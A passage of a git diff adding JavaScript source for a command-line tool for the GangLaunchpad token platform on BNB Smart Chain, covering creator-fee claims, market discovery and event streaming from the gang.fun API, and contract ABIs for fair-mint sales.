in this CLI version yet: tokens created on 1.0 have no creator fee (their whole 1% curve fee is the platform's)`, + }) + } + const due = r.tokens.filter((x) => x.claimableRaw !== '0') + return out({ + success: true, chainId, creator: me, ...r, + ...(r.scanned.some((s) => s.read < s.tokens) && { scanNote: `only the newest ${MAX_SCAN} tokens of a pad were read` }), + note: 'GangLaunchpad 2.0 and 3.0 keep 70% of the 1% curve fee of each curve buy and sell for the token\'s creator; 1.0 tokens and 打新 sales have none', + ...(due.length && { next: due.map((x) => claimCmd(x.token, net)) }), + }) + } + + const token = opt('token') + if (!isAddress(token ?? '')) fail('--token must be a 0x address', { got: token ?? null }) + const kind = await atTokenPad(ctx, token) + if (kind === null) return fail('could not read the token\'s kind from GangLaunchpad (kindOf; RPC error)', { token, retry: 'same command again' }) + if (kind === 'none') return fail(`not a GangLaunchpad token on ${testnet ? 'the BSC testnet' : 'BSC mainnet'}${testnet ? '' : ' (add --testnet for a testnet token)'}`, { token, chainId }) + if (kind === 'fair') return fail('a 打新 (fair-mint) sale has no creator fee: only V3 curve trades on GangLaunchpad 2.0 / 3.0 pay one', { token, kind }) + if (kind === 'fly') return fail('a 铸币飞轮 (Mint Flywheel) token has no creator fee: only V3 curve trades on GangLaunchpad 2.0 / 3.0 pay one (its creator gets the dev cut and a share of the pool tax: gang info)', { token, kind }) + const c = await ctx.read(ctx.pad, CURVES_ABI, 'curves', [token]) + const [creator, quote, , , , , graduated] = c + const symbol = await ctx.read(token, SYMBOL_ABI, 'symbol').catch(() => null) + const view = await curveCreatorFee(ctx, token, { creator, quote }, net) + if (!view.creatorFee) { + return fail(`this token is on GangLaunchpad ${view.padGen}, which has no creator fee: its whole 1% curve fee goes to the platform (the creator fee is on tokens created on 2.0 or 3.0)`, + { token, padGen: view.padGen, pad: ctx.pad }) + } + const base = { chainId, token, symbol, graduated, padGen: view.padGen, pad: ctx.pad, ...view.creatorFee } + + if (!flag('claim')) return out({ success: true, ...base }) + + const me = walletFor(ctx, opt('from')) + if (!same(me, creator)) return fail(HINTS.NotCreator, { token, wallet: me, creator }) + if (BigInt(view.creatorFee.claimableRaw) === 0n) return fail(HINTS.ZeroAmount, { token, claimable: view.creatorFee.claimable }) + const to = flag('to') ? opt('to') : me + if (!isAddress(to ?? '')) fail('--to must be a 0x address (checksummed or all lowercase)', { got: to ?? null }) + if (to === zeroAddress) fail('--to cannot be the zero address') + if (same(to, ctx.pad)) fail('--to cannot be the pad itself: the fee would stay where it is (the pad refuses it)') + const args = [token, to] + try { + await ctx.client.simulateContract({ account: me, address: ctx.pad, abi: CREATOR_FEE_ABI, functionName: 'claimCreatorFee', args }) + } catch (e) { + const r = revertOf(e) + return out({ success: false, step: 'claim-creator-fee', ...(r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] }) }) + } + const data = encodeFunctionData({ abi: CREATOR_FEE_ABI, functionName: 'claimCreatorFee', args }) + // --to one of the platform's modules: say what pays it out from there (and warn when its quote is another one) + const toType = same(to, me) ? null : await ctx.read(to, MODULE_TYPE_ABI, 'moduleType').then((t) => hexToString(t, { size: 32 }).replace(/\0+$/, '')).catch(() => null) + let toModule = { payOut: null, warning: null } + if (toType && payOutCmd(toType, to)) { + const bound = await ctx.read(to, QUOTE_ABI, 'quote').catch(() => null) + const sym = (a) => (a && !/^0x0{40}$/.test(a) ? ctx.read(a, SYMBOL_ABI, 'symbol').catch(() => null) : null) + const [quoteSymbol, boundSymbol] = await Promise.all([sym(quote), sym(bound)]) + toModule = claimToModule({ moduleType: toType, at: to, net, bound, quote, quoteSymbol, boundSymbol }) + } + const { payOut, warning } = toModule + return out(step(ctx, { from: me, to: ctx.pad, data }, { + step: 'claim-creator-fee', chainId, token, symbol, padGen: view.padGen, amount: view.creatorFee.claimable, + to, ...(!same(to, me) && { toNote: `the fee goes to --to, not to this wallet${payOut ? `: --to is a module (${toType}); ${warning ? `${warning}. ` : ''}${payOut}` : ''}` }), + ...(warning && { warning }), + note: 'claims all of it; the fee keeps growing with later curve trades and can be claimed again', + }, rawOnly, summarize)) +} + diff --git a/src/discover.js b/src/discover.js new file mode 100644 index 0000000..f655bff --- /dev/null +++ b/src/discover.js @@ -0,0 +1,503 @@ +/** Discovery for agents: ranked lists + an event stream (Server-Sent Events, or polling), read from the gang.fun indexer API. */ +import { websiteError, twitterError } from './links.js' +import { UA } from './version.js' + +export const API = (process.env.GANG_API || 'https://gang.fun/api').replace(/\/+$/, '') + +const SOFT_GRAD_BNB = 20 +const MILESTONES = [25, 50, 75, 90] +const MARKET_PAGES = 10 // × 200 rows per track +const TRADE_PAGE = 50 +const TRADE_PAGES = 4 +const SEEN_CAP = 2000 +const num = (v) => (v == null || v === '' ? 0 : Number(v)) +const usd = (v) => (Number.isFinite(v) ? Math.round(v * 100) / 100 : null) +const now = () => Math.floor(Date.now() / 1000) + +/** + * GET API + path → parsed JSON, null on 404. `stop` (optional AbortSignal) cancels an in-flight request, e.g. when + * `gang watch --timeout` expires. `fallback`: what to suggest when the API is unreachable. + */ +export async function get(path, stop, fallback = 'On-chain fallback without volume: `gang list`') { + // own controller instead of AbortSignal.any (Node ≥20.3); listener removed after each request so a + // long-lived `stop` signal doesn't pile up one listener per poll + const ctl = new AbortController() + const timer = setTimeout(() => ctl.abort(new Error('timed out after 15s')), 15_000) + const onStop = () => ctl.abort(new Error('stopped')) + if (stop?.aborted) onStop() + else stop?.addEventListener('abort', onStop, { once: true }) + try { + let r + try { + r = await fetch(`${API}${path}`, { signal: ctl.signal, headers: { accept: 'application/json', 'user-agent': UA } }) + } catch (e) { + if (stop?.aborted) throw e + throw new Error(`gang API unreachable (${API}${path}): ${ctl.signal.reason?.message || e.message}${fallback ? `. ${fallback}` : ''}`) + } + if (r.status === 404) return null + if (!r.ok) throw new Error(`gang API ${r.status} on ${path}`) + try { + return await r.json() + } catch (e) { + // body read can also hit the 15s timeout or a truncated/non-JSON body; keep the path in the message + if (stop?.aborted) throw e + throw new Error(`gang API bad response on ${path}: ${ctl.signal.reason?.message || e.message}`) + } + } finally { + clearTimeout(timer) + stop?.removeEventListener('abort', onStop) + } +} + +/** "90" | "45s" | "30m" | "2h" | "1d" → seconds */ +export function parseDuration(raw, name) { + const m = String(raw ?? '').trim().match(/^(\d+(?:\.\d+)?)([smhd]?)$/i) + if (!m) throw new Error(`--${name} must look like 90, 45s, 30m, 2h or 1d (got ${raw})`) + return Math.round(Number(m[1]) * { '': 1, s: 1, m: 60, h: 3600, d: 86400 }[m[2].toLowerCase()]) +} + +const WBNB = '0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c' +// BSC USDT / USDC: $1 when no V2 row prices them +const STABLES = ['0x55d398326f99059ff775485246999027b3197955', '0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d'] +const TRACKS = ['all', 'v3', 'fair', 'fly', 'v2', 'soft'] +// detail route per track (V2 / Soft details both live under /tokens) and trades route +const DETAIL = { v2: '/tokens', soft: '/tokens', v3: '/v3/tokens', fair: '/fair/sales', fly: '/fly/tokens' } +const TRADES = { v2: '/stocks/tokens', soft: '/tokens', v3: '/v3/tokens', fair: '/fair/sales', fly: '/fly/tokens' } + +/** + * GangLaunchpad rows: `v3` = V3 curves (/v3/tokens), `fair` = 打新 sales (/fair/sales; `graduated` = launched); GangFlywheelPad + * rows: `fly` = 铸币飞轮 sales (/fly/tokens, shaped like the 打新 rows; launched ones may still mint). + * List rows carry raw wei and no USD; details (/…/) carry human amounts and USD like the V2 rows. + * `quoteUsdOf(quoteAddress)` prices a list row's quote (from the V2 / Soft rows), null when unknown. + */ +function gangRow(r, quoteUsdOf) { + // a 铸币飞轮 row reads like a 打新 one (sharePrice = basePrice, raiseQuote, sold of 10,000) + const fair = r.track === 'fair' || r.track === 'fly' + const dec = r.quoteDecimals ?? 18 + const w = (v) => num(v) / 10 ** dec + const detail = r.raisedQuote != null + const graduated = !!r.graduated || r.status === 'launched' + const raised = detail ? num(r.raisedQuote) : fair ? w(r.sharePrice) * num(r.sold) : w(r.realQuote) + const target = detail ? num(r.gradAmtQuote) : fair ? w(r.raiseQuote) : w(r.gradAmt) + const remaining = graduated ? 0 : detail ? num(r.graduationRemainingQuote) : Math.max(0, target - raised) + const quoteUsd = num(r.quoteUsd) || quoteUsdOf(r.quoteAddress) || null + const inUsd = (field, quoteField) => (r[field] != null ? usd(num(r[field])) : quoteUsd ? usd(num(r[quoteField]) * quoteUsd) : null) + return { + address: r.address, symbol: r.symbol, name: r.name, track: r.track, + quote: r.quoteSymbol || '?', quoteAddress: r.quoteAddress || null, + // 打新: the 1% pool tax after launch; V3: its own buy / sell tax, pool only + taxed: fair || num(r.buyTaxBps) > 0 || num(r.sellTaxBps) > 0, + graduated, pair: r.pair || null, + progressPct: num(r.progressPct), raised, graduationTarget: target, remaining, + // a V3 curve's target in BNB raised (2.0: the creator's pick) when gang.fun sends it; graduationTarget is it in the quote + ...(r.track === 'v3' && r.gradTargetBnb != null && { graduationTargetBnb: num(r.gradTargetBnb) }), + remainingUsd: quoteUsd ? usd(remaining * quoteUsd) : null, + priceUsd: r.priceUsd ?? (quoteUsd ? num(r.priceQuote) * quoteUsd : null), fdvUsd: inUsd('fdvUsd', 'fdvQuote'), + volume24hUsd: inUsd('volume24hUsd', 'volume24hQuote'), trades24h: num(r.trades24h), trades: num(r.trades), + holders: r.holders != null ? num(r.holders) : fair ? num(r.participants) : null, + ...(fair && { sharePrice: w(r.sharePrice), sharesLeft: num(r.sharesLeft), minWalletsLeft: num(r.minWalletsLeft) }), + // mintPaused: gang.fun's code for why post-launch mints are refused now (below_average, …), null when not paused + ...(r.track === 'fly' && { + status: r.status ?? null, postMint: !!r.postMint, mintPaused: r.mintPaused ?? null, baseQuota: num(r.baseQuota), inviteBonus: num(r.inviteBonus), + }), + createdAt: r.createdAt, ageMin: r.createdAt ? Math.floor((now() - r.createdAt) / 60) : null, + lastTradeAt: r.lastTradeAt || r.lastActivityAt || null, creatorHandle: r.creatorHandle || null, logoUrl: r.logoUrl || null, + website: r.website && !websiteError(r.website) ? r.website : null, + twitter: r.twitter && !twitterError(r.twitter) ? r.twitter : null, + } +} + +/** + * One shape for every API track: GangLaunchpad `v3` / `fair` (gangRow), `v2` = quote-ERC20 curves (/stocks/tokens, + * LaunchpadV2 family), `soft` = legacy BNB curve (/tokens, 20 BNB graduation). Amounts are human units of `quote`. + */ +export function normalize(r, quoteUsdOf = () => null) { + if (r.track === 'v3' || r.track === 'fair' || r.track === 'fly') return gangRow(r, quoteUsdOf) + const v2 = r.track === 'stocks' + const quote = v2 ? (r.quoteSymbol || '?') : 'BNB' + const raised = v2 ? num(r.raisedQuote) : num(r.raisedBnb) + const target = v2 ? num(r.gradAmtQuote) : SOFT_GRAD_BNB + const remaining = r.graduated ? 0 : (v2 ? num(r.graduationRemainingQuote) : Math.max(0, target - raised)) + const quoteUsd = v2 ? num(r.quoteUsd) : num(r.bnbUsd) + return { + address: r.address, symbol: r.symbol, name: r.name, track: v2 ? 'v2' : 'soft', + quote, quoteAddress: v2 ? r.quoteAddress : null, taxed: v2 ? !!r.taxed : false, + graduated: !!r.graduated, pair: r.pair || null, + progressPct: num(r.progressPct), raised, graduationTarget: target, remaining, + remainingUsd: quoteUsd ? usd(remaining * quoteUsd) : null, + priceUsd: r.priceUsd ?? null, fdvUsd: usd(num(r.fdvUsd)), + volume24hUsd: usd(num(r.volume24hUsd)), trades24h: num(r.trades24h), trades: num(r.trades), holders: num(r.holders), + createdAt: r.createdAt, ageMin: r.createdAt ? Math.floor((now() - r.createdAt) / 60) : null, + lastTradeAt: r.lastTradeAt || null, creatorHandle: r.creatorHandle || null, logoUrl: r.logoUrl || null, + // the creator's links from the create tx (V2, CLI ≥0.7.0 creates); null when none, or not a value the create tx could carry + website: r.website && !websiteError(r.website) ? r.website : null, + twitter: r.twitter && !twitterError(r.twitter) ? r.twitter : null, + } +} + +async function pages(path, stop) { + const rows = [] + for (let offset = 0, i = 0; i < MARKET_PAGES; i++) { + const sep = path.includes('?') ? '&' : '?' + const page = await get(`${path}${sep}limit=200&offset=${offset}`, stop) + // list routes always exist: a 404 is an outage, never "no tokens" + if (!page) throw new Error(`gang API 404 on ${path}`) + rows.push(...(page.items || [])) + if (!page.hasMore || page.nextOffset == null) return { rows, truncated: false } + offset = page.nextOffset + } + return { rows, truncated: true } +} + +/** All indexed tokens, normalized and de-duplicated. track: all | v3 | fair | v2 | soft */ +export async function fetchMarket(track = 'all', stop) { + if (!TRACKS.includes(track)) throw new Error(`--track must be ${TRACKS.join(', ')} (got ${track})`) + const none = { rows: [], truncated: false } + const want = (t) => track === 'all' || track === t + // the GangLaunchpad list rows have no USD: the V2 / Soft rows price their quotes. A track not listed is read for that + // only, one page and best effort: no truncation, and a failure just leaves the USD fields null + const priced = want('v3') || want('fair') || want('fly') + const prices = (path) => get(`${path}${path.includes('?') ? '&' : '?'}limit=200`, stop).then((p) => ({ rows: p?.items || [] }), () => none) + const [v3, fair, fly, v2, soft] = await Promise.all([ + want('v3') ? pages('/v3/tokens?status=all', stop) : none, + want('fair') ? pages('/fair/sales?status=all', stop) : none, + // 铸币飞轮 (2026-10-30): a server without the route yet lists none, unless --track fly asked for it alone + want('fly') ? pages('/fly/tokens?status=all', stop).catch((e) => (track === 'fly' ? Promise.reject(e) : none)) : none, + want('v2') ? pages('/stocks/tokens', stop) : priced ? prices('/stocks/tokens') : none, + want('soft') ? pages('/tokens?sort=new', stop) : priced ? prices('/tokens?sort=new') : none, + ]) + const usdOf = new Map() + for (const r of v2.rows) if (num(r.quoteUsd) > 0 && r.quoteAddress) usdOf.set(r.quoteAddress.toLowerCase(), num(r.quoteUsd)) + const bnbUsd = soft.rows.find((r) => num(r.bnbUsd) > 0)?.bnbUsd + if (!usdOf.has(WBNB) && bnbUsd) usdOf.set(WBNB, num(bnbUsd)) + for (const a of STABLES) if (!usdOf.has(a)) usdOf.set(a, 1) + const quoteUsdOf = (a) => (a ? usdOf.get(a.toLowerCase()) ?? null : null) + const seen = new Map() + const rows = [...v3.rows, ...fair.rows, ...fly.rows, ...(want('v2') ? v2.rows : []), ...(want('soft') ? soft.rows : [])] + for (const r of rows) { + const t = normalize(r, quoteUsdOf) + if (!seen.has(t.address)) seen.set(t.address, t) + } + return { tokens: [...seen.values()], truncated: [v3, fair, fly, v2, soft].some((p) => p.truncated) } +} + +/** The command that acts on a token next: quote / preview a buy (no tx is sent before `gang execute`). */ +const hint = (t) => { + const amount = `--amount ` + // 铸币飞轮: minting before launch, and after it while the server's postMint flag is on (gang mint picks the post-launch + // mint); a filled sale waits for its launch, a refund-only one only sells back + if (t.track === 'fly' && t.status === 'filled') return `gang info --token ${t.address}` + if (t.track === 'fly' && t.status === 'refund') return `gang withdraw --token ${t.address} --all` + // launched with post-launch minting paused (gang.fun's mintPaused, from the same reads as the pad): the pool, not a mint + if (t.track === 'fly' && (!t.graduated || (t.postMint && !t.mintPaused))) return `gang mint --token ${t.address} --shares ` + if (t.graduated) return `gang buy --token ${t.address} ${amount}` // the PancakeSwap pool, through GangRouter + if (t.track === 'fair') return `gang mint --token ${t.address} --shares ` + if (t.track === 'v3') return `gang buy --token ${t.address} ${amount}` + return `gang quote --token ${t.address} ${amount}` +} +const withHint = (t) => ({ ...t, next: hint(t) }) + +/** hot = 24h USD volume on the curve; new = newest first; near-grad = closest to graduation. */ +export function rank(tokens, sort, { limit = 10, minPct = 50, maxAgeSec = null, includeGraduated = false } = {}) { + let list = includeGraduated ? tokens : tokens.filter((t) => !t.graduated) + if (sort === 'hot') { + // graduated rows carry DEX volume with trades24h = 0, so volume alone also qualifies + list = list.filter((t) => t.trades24h > 0 || t.volume24hUsd > 0) + .sort((a, b) => ((b.volume24hUsd ?? 0) - (a.volume24hUsd ?? 0)) || (b.trades24h - a.trades24h)) + } else if (sort === 'new') { + const t0 = now() + if (maxAgeSec != null) list = list.filter((t) => t0 - t.createdAt <= maxAgeSec) + list.sort((a, b) => b.createdAt - a.createdAt) + } else if (sort === 'near-grad') { + list = list.filter((t) => !t.graduated && t.progressPct >= minPct) + .sort((a, b) => (b.progressPct - a.progressPct) || ((a.remainingUsd ?? Infinity) - (b.remainingUsd ?? Infinity))) + } + return list.slice(0, limit).map(withHint) +} + +/** One token's detail. `track` known (later polls): its own route; else each route in turn. */ +async function tokenDetail(addr, stop, track) { + const a = addr.toLowerCase() + for (const base of track ? [DETAIL[track]] : ['/tokens', '/v3/tokens', '/fair/sales', '/fly/tokens']) { + const r = await get(`${base}/${a}`, stop) + if (r) return normalize(r) + } + throw new Error(`token not indexed by ${API}: ${addr}. On-chain view: \`gang info --token ${addr}\``) +} + +/** One page of trades, newest first. */ +async function tradePage(t, offset = 0, stop) { + const page = await get(`${TRADES[t.track]}/${t.address}/trades?limit=${TRADE_PAGE}&offset=${offset}`, stop) + const items = (page?.items || []).map((x) => ({ + side: x.side, trader: x.trader, traderHandle: x.traderHandle || null, + amount: num(x.quoteIn ?? x.bnb), quote: t.quote, tokens: num(x.tokens), + price: num(x.price), at: x.ts, tx: x.tx, + })) + return { items, next: page?.hasMore && page.nextOffset != null ? page.nextOffset : null } +} + +const tradeKey = (x) => `${x.tx}:${x.side}:${x.trader}:${x.tokens}` + +/** + * Trades not in `seen`, oldest first. Pages back until a page contains a known trade; `gap` = gave up + * after TRADE_PAGES pages of only-unseen trades, so older ones in between were skipped. + */ +async function freshTrades(t, seen, stop) { + const fresh = [] + const local = new Set() // offsets shift when trades land mid-pagination → same row on two pages + for (let offset = 0, i = 0; i < TRADE_PAGES; i++) { + const { items, next } = await tradePage(t, offset, stop) + let hit = false + for (const x of items) { + const k = tradeKey(x) + if (seen.has(k)) hit = true + else if (!local.has(k)) { local.add(k); fresh.push(x) } + } + if (hit || next == null) return { fresh: fresh.reverse(), gap: false } + offset = next + } + return { fresh: fresh.reverse(), gap: true } +} + +// --- market mode over Server-Sent Events (GET /stream): the server compares its board snapshots, we only normalize --- +const MARKET_EVENTS = ['new_token', 'near_grad', 'graduated'] +const STREAM_STALL_MS = 45_000 // the server pings every 15 s: this long without a byte is a dead connection +const STREAM_BACKOFF = [1, 2, 5, 10, 30] // seconds before reconnect n (the last repeats) + +/** Wait s seconds, waking early once shouldStop() flips (e.g. --timeout) instead of overshooting. */ +async function pause(s, shouldStop) { + const end = Date.now() + s * 1000 + while (Date.now() < end && !shouldStop()) await new Promise((r) => setTimeout(r, Math.min(1000, end - Date.now()))) +} + +/** SSE messages ({ id, data }) from a fetch body; onBytes() on every chunk (stall watchdog). Comments are skipped. */ +export async function* sseMessages(body, onBytes = () => {}) { + const dec = new TextDecoder() + let buf = '' + for await (const chunk of body) { + onBytes() + buf += dec.decode(chunk, { stream: true }).replace(/\r/g, '') + let i + while ((i = buf.indexOf('\n\n')) >= 0) { + const block = buf.slice(0, i) + buf = buf.slice(i + 2) + let id = null + const data = [] + for (const line of block.split('\n')) { + if (!line || line.startsWith(':')) continue + const k = line.indexOf(':') + const field = k < 0 ? line : line.slice(0, k) + const value = k < 0 ? '' : line.slice(k + 1).replace(/^ /, '') + if (field === 'data') data.push(value) + else if (field === 'id') id = value + } + if (data.length) yield { id, data: data.join('\n') } + } + } +} + +/** + * A stream event's USD per quote: the server's price of the row's quote (GANG, …), else WBNB at its BNB price and the BSC + * stables at $1 (a server from before quoteUsd), else unknown. + */ +const quoteUsdFrom = ({ quoteUsd, rate }) => (a) => { + if (Number(quoteUsd) > 0) return Number(quoteUsd) + const x = a?.toLowerCase() + if (x === WBNB) return Number(rate) > 0 ? Number(rate) : null + return STABLES.includes(x) ? 1 : null +} + +/** + * Market mode from GET /stream. Resolves 'done' (stopped: --timeout / --max-events), 'unavailable' (the server + * has no stream: the caller polls instead) or 'poll' (it went away mid-run: the caller polls from a fresh snapshot). + * Reconnects with Last-Event-ID, so the server replays what a dropped connection missed; events received after the + * last snapshot line are not emitted twice. + */ +export async function streamMarket({ track = 'all', minPct = 50, events = null, emit, shouldStop, stop }) { + if (!TRACKS.includes(track)) throw new Error(`--track must be ${TRACKS.join(', ')} (got ${track})`) + const want = (e) => !events || events.has(e) + const q = new URLSearchParams({ track, minPct: String(minPct) }) + const asked = events ? MARKET_EVENTS.filter((e) => events.has(e)) : [] + if (asked.length) q.set('events', asked.join(',')) + let lastId = null + let started = false + let failures = 0 + let partial = new Set() // events since the last snapshot line: a reconnect replays them + let replayed = new Set() // the ones to skip in the replay now coming in + + for (;;) { + if (shouldStop()) return 'done' + const ctl = new AbortController() + const onStop = () => ctl.abort(new Error('stopped')) + if (stop?.aborted) onStop() + else stop?.addEventListener('abort', onStop, { once: true }) + let lastByte = Date.now() + const watchdog = setInterval(() => { + if (Date.now() - lastByte > STREAM_STALL_MS) ctl.abort(new Error(`no data for ${STREAM_STALL_MS / 1000}s`)) + }, 5000) + let reason = null + try { + const r = await fetch(`${API}/stream?${q}`, { + signal: ctl.signal, + headers: { accept: 'text/event-stream', 'user-agent': UA, ...(lastId && { 'last-event-id': lastId }) }, + }) + const sse = r.ok && /^text\/event-stream/.test(r.headers.get('content-type') || '') + if (!sse) { + await r.body?.cancel().catch(() => {}) + // no stream route (an older server, 404) or not for us (400, 429 too many streams, 503 warming): poll instead + if (!started) return 'unavailable' + if (r.status === 404 || r.status === 400 || r.ok) return 'poll' + throw new Error(`gang API ${r.status} on /stream`) + } + if (started) { + replayed = partial + partial = new Set() + } + for await (const { id, data } of sseMessages(r.body, () => { lastByte = Date.now() })) { + let m + try { m = JSON.parse(data) } catch { continue } + if (m.event === 'ready') { + failures = 0 + if (!started) { + started = true + emit({ event: 'watching', mode: 'market', transport: 'stream', track, tokens: m.tokens, minPct }, { meta: true }) + } + if (id) lastId = id + if (!m.resumed) replayed = new Set() // nothing replayed: the next events are all new + } else if (m.event === 'snapshot') { + lastId = id || String(m.at) + partial = new Set() + replayed = new Set() + } else if (m.event === 'gap') { + replayed = new Set() + emit({ event: 'error', error: 'stream reconnected too late: changes while it was down were missed' }, { meta: true }) + } else if (MARKET_EVENTS.includes(m.event) && m.row) { + const key = `${m.event}:${String(m.row.address).toLowerCase()}` + // still in partial: if this connection drops before its snapshot line too, the next replay has it again + partial.add(key) + if (replayed.has(key)) continue + if (!want(m.event)) continue + const t = normalize(m.row, quoteUsdFrom(m)) + if (m.event === 'new_token') emit({ event: 'new_token', ...withHint(t) }) + else if (m.event === 'graduated') emit({ event: 'graduated', ...brief(t), pair: t.pair }) + else emit({ event: 'near_grad', ...brief(t), next: hint(t) }) + } + if (shouldStop()) return 'done' + } + reason = 'the server closed the stream' + } catch (e) { + if (shouldStop()) return 'done' + // a startup failure: polling reports the API being down in its own words + if (!started) return 'unavailable' + reason = ctl.signal.reason?.message || e.message + } finally { + clearInterval(watchdog) + stop?.removeEventListener('abort', onStop) + ctl.abort() + } + const wait = STREAM_BACKOFF[Math.min(failures++, STREAM_BACKOFF.length - 1)] + emit({ event: 'error', error: `stream: ${reason}; reconnecting in ${wait}s` }, { meta: true }) + await pause(wait, shouldStop) + } +} + +const crossed = (prev, cur, levels) => levels.filter((m) => prev < m && cur >= m) +const brief = (t) => ({ + token: t.address, symbol: t.symbol, track: t.track, quote: t.quote, progressPct: t.progressPct, + remaining: t.remaining, remainingUsd: t.remainingUsd, volume24hUsd: t.volume24hUsd, holders: t.holders, +}) + +/** + * Poll the API and call emit(event) for each change. Token mode: trade / progress / graduated. + * Market mode: new_token / near_grad (crossing minPct upward) / graduated. + * The first tick only snapshots state; current matches come from `gang near-grad` / `gang new`. + * `stop` (AbortSignal) cancels in-flight requests; errors after shouldStop() flips are dropped, not emitted. + */ +export async function watch({ token, intervalSec = 10, minPct = 50, track = 'all', events = null, poll = false, emit, shouldStop, stop }) { + const want = (e) => !events || events.has(e) + const sleep = (s) => pause(s, shouldStop) + + if (token) { + // graduation always ends a token watch; when --events filters it out, end with a meta line instead + const finish = (t) => (want('graduated') + ? emit({ event: 'graduated', ...brief(t), pair: t.pair }) + : emit({ event: 'ended', reason: 'graduated', token: t.address, pair: t.pair }, { meta: true })) + let t = await tokenDetail(token, stop) + const seen = new Set((await tradePage(t, 0, stop)).items.map(tradeKey)) + const remember = (k) => { + seen.add(k) + if (seen.size > SEEN_CAP) seen.delete(seen.values().next().value) // Set keeps insertion order → drops oldest + } + emit({ event: 'watching', mode: 'token', ...brief(t), graduated: t.graduated, intervalSec }, { meta: true }) + if (t.graduated) return finish(t) + for (;;) { + await sleep(intervalSec) + if (shouldStop()) return + try { + const cur = await tokenDetail(token, stop, t.track) + const { fresh, gap } = await freshTrades(cur, seen, stop) + // advance state only after both reads succeed, so a failed tick can't swallow a prev → cur transition + const prev = t + t = cur + if (gap) emit({ event: 'error', error: `more than ${TRADE_PAGE * TRADE_PAGES} trades since last poll; older ones skipped` }, { meta: true }) + for (const x of fresh) { + remember(tradeKey(x)) + if (want('trade')) emit({ event: 'trade', token: t.address, symbol: t.symbol, ...x, progressPct: t.progressPct }) + if (shouldStop()) return + } + for (const m of crossed(prev.progressPct, t.progressPct, MILESTONES)) { + if (want('progress')) emit({ event: 'progress', milestone: m, ...brief(t), next: hint(t) }) + if (shouldStop()) return + } + if (!prev.graduated && t.graduated) return finish(t) + } catch (e) { + if (shouldStop()) return + emit({ event: 'error', error: e.message }, { meta: true }) + } + if (shouldStop()) return + } + } + + // market mode: the server's stream when it has one (one connection instead of every list every interval) + if (!poll) { + const how = await streamMarket({ track, minPct, events, emit, shouldStop, stop }) + if (how === 'done') return + if (how === 'poll') emit({ event: 'error', error: 'stream no longer offered; polling from here (changes in between not replayed)' }, { meta: true }) + } + const first = await fetchMarket(track, stop) + // only grows: a token missing from one poll must not come back as new_token + const known = new Map(first.tokens.map((t) => [t.address, t])) + emit({ event: 'watching', mode: 'market', transport: 'poll', track, tokens: known.size, minPct, intervalSec }, { meta: true }) + let warned = false + const warnTruncated = (truncated) => { + if (!truncated || warned) return + warned = true + emit({ event: 'error', error: `market list capped at ${MARKET_PAGES * 200} tokens per track; tokens beyond the cap are not watched` }, { meta: true }) + } + warnTruncated(first.truncated) + for (;;) { + await sleep(intervalSec) + if (shouldStop()) return + try { + const { tokens, truncated } = await fetchMarket(track, stop) + warnTruncated(truncated) + for (const t of tokens) { + const prev = known.get(t.address) + known.set(t.address, t) + const out = [] + if (!prev) out.push({ event: 'new_token', ...withHint(t) }) + else if (!prev.graduated && t.graduated) out.push({ event: 'graduated', ...brief(t), pair: t.pair }) + else if (!t.graduated && prev.progressPct < minPct && t.progressPct >= minPct) { + out.push({ event: 'near_grad', ...brief(t), next: hint(t) }) + } + for (const ev of out) { + if (want(ev.event)) emit(ev) + if (shouldStop()) return + } + } + } catch (e) { + if (shouldStop()) return + emit({ event: 'error', error: e.message }, { meta: true }) + } + } +} diff --git a/src/fair.js b/src/fair.js new file mode 100644 index 0000000..a532561 --- /dev/null +++ b/src/fair.js @@ -0,0 +1,523 @@ +import { createPublicClient, parseAbi, encodeFunctionData, decodeEventLog, formatUnits, parseEther, parseUnits, isAddress, zeroAddress } from 'viem' +import { bawAddress } from './baw.js' +import { defaultRefPool, dividendOf, fundingStep as fund, parseAmount, parseIntIn, parseNum, poolSellQuote, POOL_SELL_HINT, revertOf as revertIn, ROUTER_ABI, ROUTER_HINTS, routerDeadline, step, swapBackState, units, viaRouter, GAS_RESERVE } from './steps.js' +import { API } from './discover.js' +import { UA } from './version.js' +import { atTokenPad, KIND_UNREAD, MERGED_ERRORS_ABI, MERGED_HINTS, NOT_ON_MAINNET, notThisKind, PAD3_GEN, padNets, rpcTransport } from './gangpad.js' +import { poolPayBnb, poolTrade } from './pool.js' +import { bondGuard } from './bond.js' + +/** + * `gang fair …` — 打新 (fair mint): one fixed price per share both ways (mint buys at it, withdraw sells back at it); + * the last share launches the token on PancakeSwap at that price. No deadline, no refund: a sale stays open until it + * fills. Contracts: gang-launchpad GangLaunchpad (merged pad: 打新 sales and V3 curves on one address; see gangpad.js). + * Mainnet needs a pad address (GANG_PAD or the one shipped in gangpad.js); without it mainnet answers "no mainnet address". + */ +export const FAIR_NETS = padNets('fair') + +const TOKEN_VERSION_ABI = parseAbi(['function tokenVersionOf(address token) view returns (uint8)']) +const PAD_ABI = parseAbi([ + 'function create(string name, string symbol, string logoURI, string metaURI, address quote, address refPool, (uint256 raiseBnb, uint16 capBps, uint16 holdBps, uint16 mintFeeBps, uint16 exitFeeBps) cfg, uint256 devShares) returns (address)', + 'function mint(address token, uint256 shares, uint256 minShares) returns (uint256)', + 'function withdraw(address token, uint256 shares, uint256 minPayout) returns (uint256)', + 'function sales(address token) view returns (address creator, uint64 progressAt, uint16 capShares, uint16 holdBps, address quote, uint16 sold, bool launched, uint16 mintFeeBps, uint16 exitFeeBps, address gate, uint128 sharePrice, address pair, address refPool, uint16 markSold)', + 'function positions(address token, address user) view returns (uint16 shares)', + 'function previewWithdraw(address token, address user, uint256 shares) view returns (uint256 payout, uint256 fee)', + 'function exitFeeBpsOf(address token) view returns (uint256)', + 'function STALE_AFTER() view returns (uint256)', + 'function status(address token) view returns (uint8)', + 'function previewMint(address token, address user, uint256 shares) view returns (uint256 accepted, uint256 cost, uint256 fee)', + 'function previewCreate(address quote, address refPool, uint256 raiseBnb) view returns (uint256 raiseQuote, uint256 sharePrice)', + 'function checkConfig((uint256 raiseBnb, uint16 capBps, uint16 holdBps, uint16 mintFeeBps, uint16 exitFeeBps) cfg, uint256 devShares) pure returns (bool ok, string reason)', + 'function taxHandler() view returns (address)', + 'function dividendVault() view returns (address)', + 'function agentIdRegistry() view returns (address)', + 'function agentGateEnabled() view returns (bool)', + 'function TOKENS_PER_SHARE() view returns (uint256)', + 'function TOTAL_SHARES() view returns (uint256)', + 'error BadConfig(string reason)', 